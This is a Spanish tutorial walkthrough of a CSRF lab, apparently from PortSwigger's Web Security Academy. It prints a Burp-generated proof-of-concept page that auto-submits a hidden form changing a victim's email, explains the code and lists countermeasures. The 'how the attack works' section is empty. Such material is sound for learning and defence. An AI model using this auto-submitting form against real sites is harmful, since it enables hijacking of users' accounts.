01 - CSRF vulnerability with no defenses

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Este código HTML es un ejemplo de un ataque de Cross-Site Request Forgery (CSRF) generado por Burp Suite para intentar cambiar la dirección de correo electrónico de un usuario en una aplicación web vulnerable.

Explicación del Código:

  1. Formulario HTML:

    <form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    
    • action: La URL apunta a un endpoint específico que cambia el correo electrónico del usuario.
    • method="POST": Envía los datos usando el método POST, que es el método requerido para hacer cambios en algunos sitios web.
    • input escondido: El campo email tiene un valor codificado en HTML (test&#64;test&#46;com, que equivale a test@test.com). Este valor es el que se enviará en la solicitud, intentando cambiar el correo electrónico del usuario que visite esta página.
  2. Script para Enviar Automáticamente el Formulario:

    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
    
    • history.pushState('', '', '/'); oculta la URL de destino del historial del navegador.
    • document.forms[0].submit(); envía el formulario automáticamente cuando se carga la página, sin intervención del usuario.

Antes de enviarse se oculta del historial para que no se sepa a donde se ha entrado.

¿Cómo Funciona el Ataque?

Este tipo de ataque CSRF funciona así:

Contramedidas:

Para protegerse contra ataques CSRF, es importante implementar medidas como:

  1. Tokens anti-CSRF: Cada solicitud de cambio de estado (POST, PUT, DELETE) debe incluir un token CSRF que el servidor valida.
  2. Verificación de Referer/Origen: Asegurarse de que la solicitud provenga de la misma aplicación (aunque esto no es completamente seguro por sí solo).
  3. Cookies SameSite: Configurar las cookies de sesión como SameSite=strict o SameSite=lax para evitar que se envíen en solicitudes de sitios cruzados.